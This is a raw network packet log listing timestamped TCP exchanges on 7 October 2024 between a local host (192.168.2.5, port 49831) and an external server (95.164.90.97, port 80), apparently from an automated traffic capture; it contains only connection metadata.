Oct 7, 2024 18:00:45.000504017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000518084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000530958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000535965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000546932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000546932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000567913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000576973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000576973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000581980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000614882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000638008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.001868010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.001883984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.001899958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.001924038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.001939058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.001967907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.001982927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.001997948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002008915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002013922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002031088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002037048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002062082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002084970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002120972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002135992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002151012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002165079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002176046 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002204895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002263069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002279043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002293110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002306938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002321005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002330065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002345085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002347946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002360106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002360106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002377033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002393007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.002403975 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002412081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.002440929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.015422106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.015439034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.015454054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.015481949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.015501976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.015526056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.015542030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.015557051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.015571117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.015583038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.015587091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.015599012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.015629053 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.054929972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.054946899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.054965019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.054991961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.055017948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.055056095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.055072069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.055087090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.055097103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.055103064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.055118084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.055123091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.055149078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.055174112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.067511082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.067528009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.067543030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.067627907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.067677975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.067692995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.067707062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.067723036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.067738056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.067766905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.080562115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080579042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080593109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080622911 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.080646038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.080647945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080663919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080679893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080698013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080704927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.080724001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.080748081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.080861092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080876112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080902100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.080904961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080919981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.080920935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080936909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080952883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.080962896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.080969095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.081003904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.081026077 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.081065893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.081111908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.082998037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083014965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083029985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083049059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083065033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083252907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083268881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083283901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083298922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083314896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083317995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083338022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083353043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083414078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083429098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083441973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083456993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083470106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083472967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083489895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083497047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083507061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083518028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083523035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083547115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083574057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083753109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083765984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083787918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083802938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083811998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083817959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083833933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083836079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083854914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083868980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083872080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083889008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.083898067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083914995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.083940029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084104061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084120035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084150076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084176064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084237099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084253073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084269047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084284067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084291935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084300995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084316015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084319115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084331989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084359884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084394932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084410906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084434986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084450006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084469080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084486008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084501028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084510088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084516048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084523916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084532022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084547997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084549904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084559917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084564924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084583044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084594011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084618092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084777117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084793091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084806919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084830046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084831953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084845066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084856033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084861040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084877014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084882021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084892035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084908009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084918022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084923983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084933043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084942102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084948063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.084970951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084985971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.084997892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085002899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085017920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085024118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085040092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085067034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085485935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085501909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085516930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085530996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085541010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085546970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085556984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085566998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085577011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085592031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085606098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085639000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085652113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085679054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085700989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085777998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085793972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085835934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085864067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085877895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085894108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085902929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085910082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085925102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.085932016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085954905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.085978985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.086014032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.086029053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.086044073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.086054087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.086060047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.086074114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.086078882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.086082935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.086097002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.086107016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.086121082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.086144924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.086205006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.086219072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.086247921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.086272001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.116424084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.116447926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.116463900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.116480112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.116494894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.116492033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.116512060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.116523981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.116529942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.116561890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.116579056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.140013933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.140033007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.140114069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.140183926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.140199900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.140213966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.140240908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.140263081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.140300035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.140316010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.140327930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.140368938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.140535116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.140615940 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.152342081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.152359962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.152376890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.152445078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.152540922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.152556896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.152571917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.152587891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.152596951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.152614117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.152640104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.165021896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165605068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165618896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165641069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165657043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165671110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165685892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165700912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165704966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.165716887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165730953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165745974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165754080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.165766001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165771961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.165797949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.165812969 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.165950060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165966034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165981054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.165992022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.165997028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.166007042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.166023970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.166049004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.167479038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.167494059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.167509079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.167524099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.167541027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.167551041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.167577028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.167694092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.167834044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.167999029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168009043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.168047905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.168144941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168160915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168176889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168193102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168193102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.168210030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168211937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.168235064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168241978 CEST	49831	80	192.168.2.5	95.164.90.97
